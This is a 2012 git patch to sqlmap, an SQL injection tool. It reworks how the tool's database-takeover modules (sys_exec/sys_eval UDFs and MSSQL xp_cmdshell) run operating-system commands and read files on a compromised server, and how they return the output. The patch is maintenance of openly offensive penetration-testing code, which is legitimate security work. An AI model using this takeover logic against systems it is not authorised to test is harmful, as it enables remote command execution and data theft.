From 121148f27f16a31160a104b5a3ec60a197436f94 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Fri, 17 Feb 2012 15:54:49 +0000 Subject: [PATCH] There was no point relying on a support table (sqlmapoutput) to get the stdout of executed OS commands when using direct connection (-d) and it saves also number of requests. Also, BULK INSERT apparently does not work on MSSQL when running as Network Service (at least on Windows XP) so one more reason to avoid using support table. Minor fix also to threat MSSQL's EXEC statements as SELECT ones --- lib/request/direct.py | 2 +- lib/takeover/udf.py | 38 ++++++++++++++++++++------- lib/takeover/xp_cmdshell.py | 34 +++++++++++++++++------- plugins/dbms/postgresql/filesystem.py | 2 +- 4 files changed, 54 insertions(+), 22 deletions(-) diff --git a/lib/request/direct.py b/lib/request/direct.py index 62cc94090..995ebac4c 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -47,7 +47,7 @@ def direct(query, content=True): logger.log(9, query) start = time.time() - if not select: + if not select and "EXEC " not in query: _ = timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) elif conf.hostname in kb.resumedQueries and query in kb.resumedQueries[conf.hostname] and "sqlmapoutput" not in query and "sqlmapfile" not in query: try: diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index 8a714367e..0594d414a 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -76,32 +76,50 @@ class UDF: self.createSupportTbl(self.cmdTblName, self.tblField, dataType) + def udfForgeCmd(self, cmd): + if not cmd.startswith("'"): + cmd = "'%s" % cmd + + if not cmd.endswith("'"): + cmd = "%s'" % cmd + + return cmd + def udfExecCmd(self, cmd, silent=False, udfName=None): if udfName is None: - cmd = "'%s'" % cmd udfName = "sys_exec" - cmd = unescaper.unescape(cmd) + cmd = unescaper.unescape(self.udfForgeCmd(cmd)) - inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent) + return inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent) def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): if udfName is None: - cmd = "'%s'" % cmd udfName = "sys_eval" - cmd = unescaper.unescape(cmd) + if conf.direct: + output = self.udfExecCmd(cmd, udfName=udfName) - inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) - output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last, safeCharEncode=False) - inject.goStacked("DELETE FROM %s" % self.cmdTblName) + if output and isinstance(output, (list, tuple)): + new_output = "" - if output and isinstance(output, (list, tuple)): - output = output[0] + for line in output: + new_output += line.replace("\r", "\n") + + output = new_output + else: + cmd = unescaper.unescape(self.udfForgeCmd(cmd)) + + inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) + output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last, safeCharEncode=False) + inject.goStacked("DELETE FROM %s" % self.cmdTblName) if output and isinstance(output, (list, tuple)): output = output[0] + if output and isinstance(output, (list, tuple)): + output = output[0] + return output def udfCheckNeeded(self): diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index ce41b168c..e9672be83 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -107,29 +107,43 @@ class xp_cmdshell: def xpCmdshellExecCmd(self, cmd, silent=False): cmd = self.xpCmdshellForgeCmd(cmd) - inject.goStacked(cmd, silent) + return inject.goStacked(cmd, silent) def xpCmdshellEvalCmd(self, cmd, first=None, last=None): self.getRemoteTempPath() - tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True)) - cmd = "%s > \"%s\"" % (cmd, tmpFile) + if conf.direct: + output = self.xpCmdshellExecCmd(cmd) - self.xpCmdshellExecCmd(cmd) + if output and isinstance(output, (list, tuple)): + new_output = "" - inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10))) + for line in output: + if line == "NULL": + new_output += "\n" + else: + new_output += "%s\n" % line.strip("\r") - self.delRemoteFile(tmpFile) + output = new_output + else: + tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True)) + cmd = "%s > \"%s\"" % (cmd, tmpFile) - output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, unique=False, firstChar=first, lastChar=last, safeCharEncode=False) - inject.goStacked("DELETE FROM %s" % self.cmdTblName) + self.xpCmdshellExecCmd(cmd) - if output and isinstance(output, (list, tuple)): - output = output[0] + inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10))) + + self.delRemoteFile(tmpFile) + + output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, unique=False, firstChar=first, lastChar=last, safeCharEncode=False) + inject.goStacked("DELETE FROM %s" % self.cmdTblName) if output and isinstance(output, (list, tuple)): output = output[0] + if output and isinstance(output, (list, tuple)): + output = output[0] + return output def xpCmdshellInit(self): diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index 27cb11a2e..304c0ccb5 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -34,7 +34,7 @@ class Filesystem(GenericFilesystem): self.initEnv() - return self.udfEvalCmd(cmd="'%s'" % rFile, udfName="sys_fileread") + return self.udfEvalCmd(cmd=rFile, udfName="sys_fileread") def unionWriteFile(self, wFile, dFile, fileType, confirm=True): errMsg = "PostgreSQL does not support file upload with UNION "